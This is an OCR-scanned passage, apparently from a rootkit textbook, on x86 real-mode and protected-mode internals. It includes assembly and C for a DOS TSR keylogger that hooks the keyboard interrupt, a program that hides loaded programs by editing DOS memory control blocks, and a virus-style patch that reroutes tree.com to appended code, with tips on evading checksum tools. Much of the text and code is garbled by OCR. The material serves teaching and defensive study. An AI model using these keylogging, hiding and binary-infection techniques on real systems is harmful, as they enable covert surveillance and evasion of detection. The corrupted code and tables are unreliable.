OS
Data Segment
BH
BL
BX
SS
Stack Segment
CH
CL
II
II
ex ox
ES
Extra Segment
DH
DL
FS
Segment
Bit 15
Bit 0
IP GS Segment SP
Bit 15
Instruction Pointer
Stack Pointer
BitO
BP FLAGS register SI
01
I f
Figure 2-6
Partl
133
The first four segment registers (es, os, 55, and ES) store segment selectors, the first half of a logical address. The FS and GS registers also store segment selectors; they appeared in processors released after the 8086/88. Thus a real-mode program can have at most six segments active at anyone point in time (this is usually more than enough). The general-purpose registers (AX, BX, ex, and ox) can store numeric operands or address values. They also have special purposes, which are listed in Table 2-2. The pointer registers (IP, SP, and BP) store effective addresses. The indexing registers (51 and 01) are also used to implement indexed addressing, in addition to string and mathematical operations. The FLAGS register is used to indicate the status of the CPU or results of certain operations. Of the 16 bits that make up the FLAGS register, only nine are used. For our purposes, there are just two bits in the FLAGS register that we're really interested in: the Trap flag (TF, bit 8) and the Interrupt Enable flag (IF, bit 9). If TF is set (i.e., equal to 1) the processor generates a singlestep interrupt after each instruction. Debuggers use this feature to single-step through a program. It can also be used to check to see if a debugger is running. If the IF flag is set, interrupts are acknowledged and acted on as they are received. (I'll cover interrupts later.)
Table 2-2
Register DesmptlOn
e5 os 55 E5 F5, G5 IP 5P BP
AX
Stores the bose address of the current executing code segment Stores the bose address of a segment containing global program data Stores the bose address of the stock segment Stores the bose address of a segment used to hold string data Store the bose address of other global data segments Instruction pointer; the offset of the next instruction to execute Stock pointer; the offset of the top-of-stack (lOS) byte Used to build stock frames for function colis Accumulator register; used for arithmetic Bose register; used as on index to address memory indirectly Counter register; olten a loop index Data register; used for arithmetic with the AX register Pointer to source offset address for string operations Pointer to destination offset address for string operations
BX ex ox 51 01
34
Po rt I
Windows still ships with a 16-bit machine code debugger, aptly named debug. exe. It's a bare bones tool that you can use in the field to see what a 16-bit executable is doing when it runs. You can use debug. exe to view the state of the real-mode execution environment via the register command:
(:\>debug MyProgram.com
-r
AX=0800 BX=0800 OS=ln9 ES=ln9 1n9 :0100 eeee CX=0800 OX=0800 SP=FFEE S5=ln9 (5=1779 IP=0100 ADO [BX+SIJ,AL BP=0800 SI=0800 01=0800 til UP EI ti NZ NA PO NC
The r command dumps the contents of the registers followed by the current instruction being pointed to by the IP register. The string " NV UP EI NG NZ NA PO NC" represents eight bits of the FLAGS register, excluding the TF flag. If the IF flag is set, you'll see the EI (enable interrupts) characters in the flag string. Otherwise you'll see DI (disable interrupts).
Real-Mode Interrupts
In the most general sense, an interrupt is some event that triggers the execution of a special type of procedure called an interrupt service routine (ISR), also known as an interrupt handler. Each specific type of event is assigned an integer value that associates each event type with the appropriate ISR. The specific details of how interrupts are handled vary, depending on whether the processor is in real mode or protected mode. In real mode, the first kilobyte of memory (address exeeeee to exee3FF) is occupied by a special data structure called the Interrupt ~ctor Table (IVT). In protected mode, this structure is called the Interrupt Descriptor Table (IDT), but the basic purpose is the same. The IVT and IDT both map interrupts to the ISRs that handle them. Specifically, they store a series of interrupt descriptors (called interrupt vectors in real mode) that designate where to locate the ISRs in memory. In real mode, the IVT does this by storing the logical address of each ISR sequentially (see Figure 2-7). At the bottom of memory (address exeeeee) is the effective address of the first ISR followed its segment selector. Note, for both values, the low byte of the address comes first. This is the interrupt vector for interrupt type O. The next 4 bytes of memory (exeeee4 to exeeee7) store the interrupt vector for interrupt type 1, and so on. Because each interrupt takes 4 bytes, the IVT can hold 256 vectors (designated by values 0 to 255). When an interrupt occurs in real mode, the processor uses the address
Port I
I 35
stored in the corresponding interrupt vector to locate and execute the necessary procedure. Under MS-DOS, the BIOS handles interrupts othrough 31 and DOS handles interrupts 32 through 63 (the entire DOS system call interface is essentially a series of interrupts). The remaining interrupts (64 to 255) are for user-defined interrupts. See Table 2-3 for a sample listing of BIOS interrupts. Certain portions of this list can vary depending on the BIOS vendor and chipset. Keep in mind, this is in real mode. The significance of certain interrupts and the mapping of interrupt numbers to ISRs will differ in protected mode.
CS High Byte CS Low By te IP High Byte IP Low Byte CS High By te CS Low Byte IP High Byte IP Low Byte CS High By te CS Low Byte IP High Byte IP Low Byte
INTOx02
r r r
Address 0.0000 8
INTOxOi
Address 0.0000
INTOxOO
Address 0.00000
Figure 2-7
Tobie 2-3
Inlerrupl Number 00 01 02 03 04 05 06 07 08 09 OA DB DC 00 DE OF 10
11
BIOS Inlerru pl D esUlpllon Invoked by an aHempt ta divide by zero Single-step; used by debuggers ta single-step through program execution Nonmaskable interrupt (NMI); indicates an eventthat must not be ignored Break point, used by debuggers to pause execution Arithmetic overflow Print Screen key has been pressed Reserved Reserved System timer, updates system time and date Keyboard key has been pressed Reserved Serial device control (COM]) Serial device control (COM2) Parallel device control (LPT2) OiskeHe control; signals diskeHe activity Parallel device control (LPTl) Videa display functions Equipment determination; indicates what sort of equipment is installed
36
Pa rt I
Interrupt Number
12 13 14 15 16 17 18 19 lA lB lC 10
Memory size determination Disk 110 fundions RS-232 serial port 110 fundions System services; power-on self-testing, mouse interface, etc. Keyboard input fundions Printer output fundions ROM BASIC entry; starts ROM-resident BASIC if DOS cannot be loaded Boatstrap loader; loads boat rlKord from disk Read and set time Keyboard break address; controls what happens when break key is pressed Timer tick interrupt Video parameter tables DiskeHe parameters Graphics charader definitions
IE IF
All told, there are three types of interrupts: Hardware interrupts (maskable and nonmaskable) Software interrupts Exceptions (faults, traps, and aborts)
AH,82H
PO( DL,41H
INT 21M
Pa rt I
I 37
The INT instruction performs the following actions: Clears the trap flag (TF) and interrupt enable flag (IF) Pushes the FLAGS, CS, and IP registers onto the stack (in that order) Jumps to the address of the ISR specified by the interrupt vector Executes code until it reaches an IRET instruction
The IRET instruction is the inverse of INT. It pops off the IP, CS, and FLAGS values into their respective registers (in this order) and program execution continues to the instruction following the INT operation.
Exceptions are generated when the processor detects an error while executing an instruction. There are three kinds of exceptions:/aults, traps, and aborts. They differ in terms of how they are reported and how the instruction
that generated the exception is restarted. When a fault occurs, the processor reports the exception at the instruction boundary preceding the instruction that generated the exception. Thus, the state of the program can be reset to the state that existed before the exception so that the instruction can be restarted. Interrupt 0 (divide by zero) is an example of a fault. When a trap occurs, no instruction restart is possible. The processor reports the exception at the instruction boundary following the instruction that generated the exception. Interrupt 3 (breakpoint) and interrupt 4 (overflow) are examples of faults. Aborts are hopeless. When an abort occurs, the program cannot be restarted, period.
38 1 Partl
By definition, the INT and IRET instructions (see Table 2-4) are intrinsically far jumps because both of these instructions implicitly involve the segment selector and effective address when they execute.
Table 2-4
InltrU(tlon Real Mode Binary Encoding
The JMP and CALL instructions are a different story. They can be near or far depending on how they are invoked (see Tables 2-5 and 2-6). Furthermore, these jumps can also be direct or indirect, depending on whether they specify the destination of the jump explicitly or not.
Table 2-5
JIAP Type Example Real Mode Binary Encoding
Short
JMP SHORT mylabel JMP NEAR PTR mylabel JMP BX JMP OS: [mylabel] JMP DWORD PTR [BX]
8xEB [signed disp. byte] 8xE9 (low disp. byte][high disp. byte] 8xFF 8xE3 8xEA [IP low][IP high][CS low][CS high] 8xFF 8x2F
A short jump is a 2-byte instruction that takes a signed byte displacement (i.e., -128 to + 127) and adds it to the current value in the IP register to transfer program control over short distances. Near jumps are very similar to this, with the exception that the displacement is a signed word instead of a byte, such that the resulting jumps can cover more distance (i.e., -32,768 to +32,767). Far jumps are more involved. Far direct jumps, for example, are encoded with a 32-bit operand that specifies both the segment selector and effective address of the destination.
Table 2-6
CALL Type Example Real-Mode Binary Encoding
Near direct Near indirect For direct For indirect Near return For return
CALL mylabel CALL BX CALL OS : [mylabel] CALL DWORD PTR [BX] RET RETF
8xES [low disp. byte][high disp. byte] 8xFF 8xD3 8x9A [IP low][IP high][CS low][CS high] 8xFF exlF exC3 exCB
Part I
I 39
Short and near jumps are interesting because they are relocatable, which is to say that they don't depend upon a given address being specified in the resulting binary encoding. This can be useful when patching an executable.
> No:
This snippet of inline assembler is fairly straightforward, reading in offset and segment addresses from the IVT sequentially. This code will be used later to help validate other examples. We could very easily take the previous loop and modify it to zero out the IVT and crash the OS.
40 I Po rt I
for
(
""" BX,address
""" ES: [8XJ,AX INC 8X
INC BX
""" ES : [BXI,AX POP ES
}j
> Note:
The TSR's installation routine begins by setting up a custom, user-defined, interrupt service routine (in IVT slot number 187). This ISR will return the segment selector and effective address of the buffer (so that the client can figure out where it is and read it).
_install: lEA DX,~etBufferAddr
Next, the TSR saves the address of the BIOS keyboard ISR (which services INT ex9) so that it can hook the routine. The TSR also saves the address of
Port I
I 41
the 1NT 0x16 ISR, which checks to see if a new character has been placed in the system's key buffer. Not every keyboard event results in a character being saved into the buffer, so we'll need to use 1NT 0x16 to this end.
/'OJ AH,35H /'OJ Al,99H
!NT 21H
/'OJ WORD PTR _oldISR[0],BX /'OJ WORD PTR _oldISR[2],ES /'OJ AH,35H /'OJ Al,l6H
INT 21H
/'OJ WORD PTR _chkISR[0],ax /'OJ WORD PTR _chkISR[2],ES
OX,_hookBIOS
CX,CS OS,CX
AH,25H
Al,99H
INT 21H
Once the installation routine is done, we terminate the TSR and request that DOS keep the program's code in memory. DOS maintains a pointer to the start of free memory in conventional memory. Programs are loaded at this position when they are launched. When a program terminates, the pointer typically returns to its old value (making room for the next program). The 0x31 DOS system call increments the pointer's value so that the TSR isn't overwritten.
/'OJ AH,31H /'OJ Al,ElH /'OJ OX, 20ElH
INT 21H
As mentioned earlier, the custom ISR, whose address is now in IVT slot 187, will do nothing more than return the logical address of the keystroke buffer (placing it in the ox: S1 register pair) .
...RetBufferAddr:
STI /'OJ OX,CS LEA OI,_buffer
IRET
The ISR hook, on the other hand, is a little more interesting. We saved the addresses of the 1NT 0x9 and 1NT 0x16 ISRs so that we could issue manual far calls from our hook. This allows us to intercept valid keystrokes without interfering too much with the normal flow of traffic.
42
Po rf I
!Of 51,
I""
IlRD PTR Lindex] POI BYTE PTR [ax+SI],AL INC 51 IlRD PTR Lindex], 51 POP 51
IRET
One way we can test our TSR is by running the IVT listing code presented in the earlier case study. Its output will display the original vectors for the ISRs that we intend to install and hook.
eee
--Dullping IVT fran bottan up--eeeeeeee [CS: IP]=[eeA7, 1868] 888488ge [CS: IP]=[ee79, 9188] [CS:IP]-[929C,948A] (we'll hook this ISR)
92eceeee
Once we run the tsr. com program, it will run its main routine and tweak the IVT accordingly. We'll be able to see this by running the listing program one more time:
- - -Dullping IVT fran bottan up- -eeeeeeee [CS: IP]a[eeA7, 1868] 888488ge [CS: IP]-[ee79, 9188]
Po rt I
I 43
00240000
[CS :IP]=[11F2,9319] (changed to our ISR) [CS:IP]=[11F2,9311] (new ISR installed here)
187
92eceeee
As we type in text on the command line, the TSR will log it. On the other side of the fence, the driver function in the TSR client code gets the address of the buffer and then dumps the buffer's contents to the console_
void emptyBuffer()
{
\ollRD bufferCS j \ollRD bufferlPj
BYTE crtIO[SZ_BUFFER]j
\ollRD indexj \ollRD valuej
//segment address of global buffer //offset address of global buffer //buffer for screen output //position in global memory / /value read from global memory
PUSH OX
PUSH 01
44
Po rt I
crt10[index]=(char)valuej
//display the harvested chars printBuffer(crt10,SZ_BUFFER)j putlnLogFile(crt10,SZ_BUFFER)j returnj }/*end emptyBuffer() - ---------------- ---- -- -- -- -- -- ------------------------*/
The TSR client also logs everything to a file named $$KLOG. TXT. This log file includes extra keycode information such that you can identify ASCII control codes.
kdos[Carriage return][End of Text] echo See you in Vegas! [Carriage return] tsrclient[Carriage return]
memory. c: \>mem /d
007D20 OOB2E0 OOB7C0 008930 0091C0 011960 0119F0 011F10 013F20 014410 02B900 C<H'ANJ
MSOOS
000SBe
eee400
000160
eeesse
008790
eeeese
000510 002000 eee4E0 0174E0 0746E0
Environment -- Free -Program Program Program Data Environment Program Environment Program -- Free --
What we need is a way to hide the TSR program so that mem. exe won't see it. This is easier than you think. DOS divides memory into blocks, where the first paragraph of each block is a data structure known as the memory control block (MCB, also referred to as a memory control record). Once we have the first MCB, we can use its size field to compute the location of the next MCB and traverse the chain of MCBs until we hit the end (i.e., the type field is
"2").
Po rl I
I 45
struct I'CB
{
II'M' normally, 'Z' is last entry IISegment address of owner's PSP (axeeeeH == free) IISize of I'CB (in 16-byte paragraphs) III suspect this is filler llName of program (environment blocks aren't named)
'M' 'Z'
>
No'e: For a complete listing, see HideTSR in the appendix. The only tricky part is getting our hands on the first MCB. To do so, we need to use an "undocumented" DOS system call (i.e., INT Elx21, function Elx52) . Though, to be honest, the only people who didn't document this feature were the folks at Microsoft. There's plenty of information on this function if you read up on DOS clone projects like FreeDOS or RxDOS. The Elx52 ISR returns a pointer to a pointer. Specifically, it returns the logical address of a data structure known as the "list of file tables" in the ES: BX register pair. The address of the first MCB is a double-word located at ES: [BX-4] Gust before the start of the file table list). This address is stored with the effective address preceding the segment selector of the MCB (i.e., IP: CS format instead of CS: IP format).
Iladdress of "List of File Tables" IIKlRD FTsegment; IIKlRD FToffset; Iladdress of first I'CB IIKlRD headerSegment; IIKlRD headerOffset;
struct Address hdrAddr; struct I'CBHeader mcbHdr;
I'rN AH,9xS2
INT ex21
INC BX INC BX
46
Part I
f'rN f'rN
hdrAddr.segment = headersegmentj hdrAddr.offset = headerOffsetj printf("File Table Address [Cs,IP]=%04X,%04X\n",FTsegment,FToffset)j printArenaAddress(headersegment,headerOffset)j mcbHdr = populateMCB(hdrAddr)j retum(mcbHdr)j
Once we have the address of the first MCB, we can calculate the address of the next MCB as follows: Next MCB = (current MCB address)
The implementation of this rule is fairly direct. As an experiment, you could (given the address of the first MCB) use the debug command to dump memory and follow the MCB chain manually. The address of an MCB will always reside at the start of a segment (aligned on a paragraph boundary), so the offset address will always be zero. We can just add values directly to the segment address to find the next one.
struct MCBHeader getNextMCB(struct Address currentAddr, struct MCB currentMCB)
{
WORD nextsegmentj WORD nextOffsetj struct MCBHeader newHeaderj nextSegment = currentAddr.segmentj nextOffset = 9xeeeej nextSegment = nextsegment + 1j nextSegment = next Segment + currentMCB.sizej printArenaAddress(nextsegment,nextOffset)j (newHeader.address).segment = nextsegmentj (newHeader.address).offset = nextOffsetj newHeader = populateMCB(newHeader.address)j return(newHeader)j
If we find an MCB that we want to hide, we simply update the size of its predecessor so that the MCB to be hidden gets skipped over the next time the MCB chain is traversed.
Pa rt I
I 47
PUSH BX ES AA MOV BX,segmentFix MOV ES,BX MOV BX,0x0 ADD BX,0x3 MOV AA,sizeFix MOV ES: [BX],AA POP AA POP ES POP BX
PUSH PUSH
return;
}
Our finished program traverses the MCB chain and hides every program whose name begins with two dollar signs (e.g., $$myTSR. com).
struct MCBHeader mcbHeader; struct MCBHeader oldHeader; mcbHeader = getFirstMCB(); oldHeader = mcbHeader; printMCB(mcbHeader .mcb);
while
48
Part I
To test our program, I loaded two TSRs named $$tsrl. com and $$tsr2. com. Then I ran the mem. exe with the debug switch to verify that they were loaded.
c:\>$$tsr1 C:\>$$tsr2 C:\>mem /d e91c 1196 119f 1lf1 13f2 1444 1645 1697 24e6 34,704 (341<) OOSX 128 (01<) OOSX 1,296 (1K) $$TSR1 8,192 (8K) $$TSR1 1,296 (1K) $$TSR2 8,192 (8K) $$TSR2 1,296 (1K) MEM 55,008 (541<) MEM 507, 776 (496K) program data area environment program environment program environment program free
Next, I executed the HideTSR program and then ran mem . exe again, observing that the TSRs had been replaced by nondescript (empty) entries.
C: \>hidetsr File Table Address [CS,IP)=0BA7,0022 Arena[CS,IP)=[l1F1,eeee): Type=M OWner=F211 Hiding program: $$TSR1 Arena[CS,IP)=[1444,eeee): Type=M OWner=4514 Hiding program: $$TSR2 Arena [CS, IP)=[1697,eeee) : Type=M OWner=9816 Arena[CS,IP)=[1B9F ,eeee) : Type=Z OWner=eeee C:\>mem /d e91c 1196 119f 13f2 1645 1697 24e6 34,704 (341<) 128 (0K) 9,504 (9K) 9,504 (9K) 1,296 (1K) 55,008 (541<) 507,776 (496K)
OOSX OOSX
Size=0200
Name=($$TSR1)
Size=0200
Name=($$TSR2)
Size=0507
Name= (HIDETSR)
Size=845F
Name=( *Free*)
MEM MEM
Po rt I
I 49
> Note:
What we'll do is utilize a standard trick that's commonly implemented by viruses. Specifically, we'll replace the first few bytes of the tree command binary with a JMP instruction that transfers program control to code that we tack on to the end of the file (see Figure 2-8). Once the code is done executing, we'll execute the code that we supplanted and then jump back to the machine instructions that followed the original code. Before we inject a jump statement, however, it would be nice to know what we're going to replace. If we open up the FreeDOS tree command with debug . exe, and disassemble the start of the program's memory image, we can see that the first 4 bytes are a compare statement. Fortunately, this is the sort of instruction that we can safely relocate.
C:\MyDir>debug tree.com
-u
CI'f'
JA
SP,3E44 010S
50 I Part I
INT
I'CN
Program
Figure 2-8
Because we're dealing with a .com file, which must exist within the confines of a single 64 KB segment, we can use a near jump. From our previous discussion of near and far jumps, we know that near jumps are 3 bytes in size. We can pad this JMP instruction with a NOP instruction (which consumes a single byte, exge) so that the replacement occurs without including something that might confuse the processor. Thus, we replace the instruction:
CMP SP, 3E44 (in hex machine code: 81
Fe
443E)
The tree command is 9,893 bytes in size (i.e., the first byte is at offset exeelee, and the last byte is at offset exe27A4). Thus, the jump instruction needs to add a displacement of ex26A2 to the current instruction pointer (exle3) to get to the official end of the original file (ex27As), which is where we've placed our patch code. To actually replace the old code with the new code, you can open up the FreeDOS tree command with a hex editor and manually replace the first 4 bytes.
Part I
I 51
> Note:
Numeric values are stored in little-endian format by the Intel processor, which is to say that the lower order byte is stored at the lower address . Keep this in mind because it's easy to get confused when reading a memory dump and sifting through a binary file with a hex editor.
The patch code itself is just a .com program. For the sake of keeping this example relatively straightforward, this program just prints out a message, executes the code we displaced at the start of the program, and then jumps back so that execution can continue as if nothing happened. I've also included the real-mode machine encoding of each instruction in comments next to each line of assembly code.
CSEG SEGolENT BYTE PUBLIC . COOE ' ASSlME CS:CSEG, DS:CSEG, SS :CSEG _here: JMP SHORT _main j EB 29 _message DB 'We just jumped to the end of Tree. com! " eAH, OOH, 24H j entry point------------------------------------------------------------_main: I'OJ AH, 99H jB4 09 I'OJ OX, OFFSET _message jBA 0002 INT 21H JCO 21 j[Return Code]---------------------------- --- --- -------- -----------------CMP SP,3EFFH j81 FC 3EFF (code we supplanted with our jump) I'OJ BX,0194H JBB 0194 (offset following inserted jump) JMP BX jFF E3 CSEG EM>S EN) _here
For the most part, we just need to compile this and use a hex editor to paste the resulting machine code to the end of the tree command file. The machine code for our patch is relatively small. In term of hexadecimal encoding, it looks like this:
rn~~~~~~n-~~~~roN~~ ~~~~~~~~-~~~~~~~~
n~~~~~ron-~OOMB409BA~OO
CD 21 81 FC FF 3E BB 94 - 01 FF E3
But before you execute the patched command, there's one thing we need to change: The offset of the text message loaded into the DX by the MOV instruction must be updated from exeee2 to reflect its actual place in memory at run time (i.e., ex27A7). Thus the machine code BAe2ee must be changed to BAA727 using a hex editor (don't forget what I said about little-endianess).
52
Po rt I
Once this change has been made, the tree command can be executed to verify that the patch was a success.
C:\MyDir\>tree . com If
l,e Just Jumped to the end of Tree . com'
BLD.BAT
MAKE FI lE TXT
PATCH.ASM
TREE.CCl'I +--FREEOOS Ca+W.O.CCl'I TREE.CCl'I
Granted, I kept this example simple so that I could focus on the basic mechanics. The viruses that utilize this technique typically go through a whole series of actions once the path of execution has been diverted. To be more subtle, you could alter the initial location of the jump so that it's buried deep within the file. To evade checksum tools, you could patch the memory image at run time, a technique that I will revisit later on in exhaustive detail.
Synopsis
Now that our examination of real mode is complete, let's take a step back to see what we've accomplished in more general terms. In this section we have: Modified address lookup tables to intercept system calls Leveraged existing drivers to intercept data Manipulated system data structures to hide an application Altered the makeup of an executable to reroute program control
Modifying address lookup tables to seize control of program execution is known as hooking. This is a well-known tactic that has been implemented using a number of different variations. Stacking a driver on top of another (the layered driver paradigm) is an excellent way to restructure the processing of I/O data without having to start over from scratch. It's also an effective tool for eavesdropping on data as it travels from the hardware to user applications. Manipulating system data structures, also known as direct kernel object manipulation (DKOM), is a relatively new frontier as far as rootkits go. DKOM can involve a bit of reverse engineering, particularly when the OS under examination is proprietary.
Pa rt I
I 53
'
Binaries can also be modified on disk (offline binary patching) or have their image in memory updated during execution (run-time binary patching). Early rootkits used the former tactic by replacing core system and user commands with altered versions. The emergence of checksum utilities like TripWire and the growing trend of performing offline disk analysis have made this approach less attractive, such that the current focus of development is on run-time patching. So there you have it: hooking, layered drivers, DKOM, and binary patching. These are the fundamental software primitives that can be mixed and matched to build a rootkit. While the modifications we made in this section didn't require that much in terms of technical sophistication (real mode is a Mickey Mouse scheme if there ever was one), we will revisit these same tactics again several times later on in the book. Before we do so, you'll need to understand how the current generation of processors manage and protect memory. This is the venue of protected mode.
54
Pa rt I
local descriptor table register (LDTR), and the interrupt descriptor table register (IDTR). These eight registers are entirely new and have no analog in real mode. We'll touch on these new registers when we get into protected-mode segmentation and paging.
""L5
CS OS
..
SItU
I
J
..
AX I
BX
AH BH CH DH
AL BL CL DL
ES FS GS
EJCtra Segment
I
1
I I I
ex ox
810
Segment Segment
I
"'"
EDX
55 Slack Segment J.
5P BP 51 01
81t11
EFLAGS register
SitU
,
"'7
.. ,
GOTR Global DescriptorTabie Register
IOTR Interrupt Desc riptor Table Regis ter
BtO
LDTR
Figure 2-9
As in real mode, the segment registers (CS, DS, 55, ES, FS, and GS) store segment selectors, the first half of a logical address (see Table 2-7). The difference is that the contents of these segment selectors do not correspond to a 64 KB segment in physical memory. Instead, they store a binary structure consisting of multiple fields that's used to index an entry in a table. This table entry, known as a segment descriptor, describes a segment in linear address space. (If this isn't clear, don't worry. We'll get into the details later on.) For now, just understand that we're no longer in Kansas. Because we're working with a much larger address space, these registers can't hold segment addresses in physical memory. One thing to keep in mind is that, of the six segment registers, the Cs register is the only one that cannot be set explicitly. Instead, the Cs register's contents must be set implicitly through instructions that transfer program control (e.g., JMP, CALL, INT, RET, IRET, SYSENTER, SYSEXIT, etc.).
Po rt I
I 55
The general-purpose registers (EAX, EBX, ECX, and EDx) are merely extended 32-bit versions of their 16-bit ancestors. In fact, you can still reference the old registers and their subregisters to access lower-order bytes in the extended registers. For example, AX references the lower-order word of the EAX register. You can also reference the high and low bytes of AX using the AH and AL identifiers. This is the market requirement for backward compatibility at play. The same sort of relationship exists with regard to the pointer and indexing registers. They have the same basic purpose as their real mode predecessors. In addition, while ESP, EBP, ESI, and EBP are 32 bits in size, you can still reference their lower 16 bits using the older real-mode identifiers (SP, BP, SI, and
01).
Of the 32 bits that make up the EFLAGS register, there are just two bits that we're really interested in: the Trap flag (TF, bit 8) and the Interrupt Enable flag (IF, bit 9). Given that EFLAGS is just an extension of FLAGS, these two bits have the same meaning in protected mode as they do in real mode.
Tobie 2-7
Regllter
(S SS DS, ES, FS, GS EIP ESP EBP EAX EBX E(X EDX ESI EDI
D elUiptlon Specifies the descriptor of the current executing code segment Specifies the descriptor of the stack segment Specify the descriptors of program data segments Instruction pointer; the linear address offset of the next instruction to execute Stack pointer; the offset of the top-of-stack (TOS) byte Used to build stack frames for function calls Accumulator register; used for arithmetic Base register; used as an index to address memory indirectly Counter for loop and string operations Input/output pointer Points to data in segment indicoted by DS register; used in string operations Points to address in segment indicated by ES register; used in string operations
56
Pa rl I
Proteded-Mode Segmentation
There are two facilities that an IA-32 processor in protected mode can use to implement memory protection: Segmentation Paging
Paging is an optional feature . Segmentation, however, is not. Segmentation is mandatory in protected mode. Furthermore, paging builds upon segmentation and so it makes sense that we should discuss segmentation first before diving into the details of paging. Given that protected mode is an instance of the segmented memory model, as usual we start with a logical address and its two components (the segment selector and the effective address, see Figure 2-10). In this case, however, the segment selector is 16 bits in size and the effective address is a 32-bit value. The segment selector references an entry in a table that describes a segment in linear address space. So instead of storing the address of a segment in physical memory, the segment selector refers to a binary structure that contains details about a segment in linear address space. The table is known as a descriptor table and its entries are known, aptly, as segment descriptors. A segment descriptor stores metadata about a segment in linear address space (access rights, size, 32-bit base address, etc.). The 32-bit base address of the segment, extracted from the descriptor by the processor, is then added to the offset to yield a linear address. Because the base address and offset address are both 32-bit values, it makes sense that the size of a linear address space in protected mode is 4 GB (addresses range from axaaaaaaaa to axFFFFFFFF). There are two types of descriptor tables: global descriptor tables (GDTs) and local descriptor tables (LDTs). Having a GDT is mandatory; every operating system running on IA-32 must create one when it starts up. Typically, there will be a single GDT for the entire system (hence the name "global") that can be shared by all tasks. In Figure 2-10, a GDT is depicted. Using an LDT is optional; it can be used by a single task or a group of related tasks. For the purposes of this book, we'll focus on the GDT.
>
Note: Regardless of how the GDT is populated, the first entry is always empty. This entry is called a null segment descriptor. A selector that indexes this GDT entry is known as a null selector.
Port I
I 57
Addreu OxFFFFfFFF
lOlic .1 Address
I Offset Address
I Segment SeleClor
Addreu O .FFfffFFE
f-~
Address OxfFFFFfFO
Segment Descriptor
I
Base Address
I
Address OXOOOOOOO04 Addre ss OXOOOOOOO01 Address. OXOOOOOOOO2
I GOTR
Global DescriptorTabie
IGOT)
Addreu 0.000000001
Addreu 011000000000
Figure 2-10
There is a special register (i.e., GDTR) used to hold the base address of the GDT. The GDTR register is 48 bits in size. The lowest 16 bits (bits 0 to 15) determine the size of the GDT (in bytes). The remaining 32 bits store the base linear address of the GDT (i.e., the linear address of the first byte). Special registers often mean special instructions. Hence, there are also dedicated instructions to set and read the value in the GDTR. The LGDT loads a value into GDTR and the SGDT reads (stores) the value in GDTR. The LGDT instruction is "privileged" and can only be executed by the operating system. (We'll discuss privileged instructions later on in more detail.) So far, I've been a bit vague about how the segment selector "refers " to the segment descriptor. Now that the general process of logical-to-linear address resolution has been spelled out, I'll take the time to be more specific. The segment selector is a 16-bit value broken up into three fields (see Figure 2-11). The highest 13 bits (bits 15 through 3) are an index into the GDT, such that a GDT can store at most 8,192 segment descriptors (0 -+ (2IL l)). The bottom two bits define the request privilege level (RPL) of the selector. There are four possible values (00, 01, 10, and 11), where 0 has the highest level of privilege and 3 has the lowest. We will see how RPL is used to implement memory protection shortly. Now let's take a close look at the anatomy of a segment descriptor to see just what sort of information it stores. As you can see from Figure 2-11, there are a bunch of fields in this 64-bit structure. For what we'll be doing in this book, there are four elements of particular interest: the base address field (which we've met already), Type field,S flag, and DPL field.
58
Pa rt I
I
T
0:: specifies a de sc riptor in a GOT Requested Privilege l evel (RPl) (00 =m ost pri vil ege , 11 :: least privilege)
Bit 0
Bit 31
Base Address , bits 15:00
16
15
Segment Lim it, bits 15:00
Bit 0
Segment lim it (20-bi ts) ease Addr ess (H-bits) Type Field S Flag
Size of th e segm ent (if G is clea r: 1 byte - 1 MS, if G is set: 4 KB to 4 GB in 4 KB Incremen ts)
DPL
P Fl ag
AVL
L Flag
D/B
G Fl ag
Figure 2-11
The descriptor privilege level (DPL) defines the privilege level of the segment being referenced. As with the RPL, the values range from 0 to 3, with 0 representing the highest degree of privilege. Privilege level is often described in terms of three concentric rings that define four zones of privilege (Ring 0, Ring 1, Ring 2, and Ring 3). A segment with a DPL of 0 is referred to as existing inside of Ring O. Typically, the operating system kernel will execute in Ring 0, the innermost ring, and user applications will execute in Ring 3, the outermost ring. The Type field and the S flag are used together to determine what sort of descriptor we're dealing with. As it turns out there are several different types of segment descriptors because there are different types of memory segments. Specifically, the S flag defines two classes of segment descriptors. Code and data segment descriptors (S = 1) System segment descriptors (s
= 0)
Code and data segment descriptors are used to refer to pedestrian, everyday, application segments. System segment descriptors are used to jump to
Po rt I
I 59
segments whose privilege level is greater than that of the current executing task (current privilege level, or CPL). For example, when a user application invokes a system call implemented in Ring 0, a system segment descriptor must be used. We'll meet system segment descriptors later on when we discuss gate descriptors.
If we're dealing with an application segment descriptor (i.e., the S flag is set), the Type field offers a finer granularity of detail. The best place to begin is bit 11, which indicates if we're dealing with a code or data segment. When bit 11 is clear, we're dealing with a data segment (see Table 2-8). In this case, bits 10,9, and 8 indicate the segment's expansion direction, if it is write enabled, and if it has been recently accessed (respectively).
When bit 11 is set, we're dealing with a code segment (see Table 2-9). In this case, bits 10, 9, and 8 indicate if the code segment is nonconforming, if it is execute-only, and if it has been recently accessed (respectively).
Table 2-8
0 0 0 0 0
0 0
Read Only Read Only, Recently Accessed Read/Write Read/Write, Recently Accessed Read Only, Expand Down Read Only, Recently Accessed, Expand Down Read/Write, Expand Down Read/Write, Recently Accessed, Expand Down
Table 2-9
0 0 0 0
Execute-Only Execute-Only, Recently Accessed Execute-Read Execute-Read, Recently Accessed Execute-Only, Conforming Execute-Only, Recently Accessed, Conforming Execute-Read, Conforming Execute-Read, Recently Accessed, Conforming
60
Pa rt I
In case you're wondering, a nonconforming code segment cannot be accessed by a program that is executing with less privilege (i.e., with a higher CPL). The CPL of the accessing task must be equal or less than the DPL of the destination code segment. In addition, the RPL of the requesting selector must be less than or equal to the CPL.
Proteded-Mode Paging
Earlier, I mentioned that paging was optional. If paging is not utilized by the resident operating system, then the linear address space corresponds directly to physical memory (which implies that we're limited to 4 GB of physical memory). If paging is being used, then the linear address is the starting point for a second phase of address translation. As in the previous discussion of segmentation, I will provide you with an overview of the address translation process and then carefully wade into the details. When paging is enabled, the linear address space is divided into fixed-size plots of storage called pages (which can be 4 KB, 2 MB, or 4 MB in size). These pages can be mapped to physical memory or stored on disk. If a program references a byte in a page of memory that's currently stored on disk, the processor will generate a page fault exception (denoted in the Intel documentation as # PF) that signals to the operating system that it should load the page to physical memory. The slot in physical memory that the page will be loaded into is called a page frame. Storing pages on disk is the basis for using disk space to artificially expand a program's address space (i.e., demand paged virtual memory). For the purposes of this book, we'll stick to the case where pages are 4 KB is in size and skip the minutiae associated with demand pagIng. Let's begin where we left off: In the absence of paging, a linear address is a physical address. With paging enabled, this is no longer the case. A linear address is now just another accounting structure that's split into three subfields (see Table 2-10):
Table 2-10
510rl BII 0
12 22
End BII
11 21 31
D esmpllon Offset into a physical page of memory Index into a page table Index into a page directory
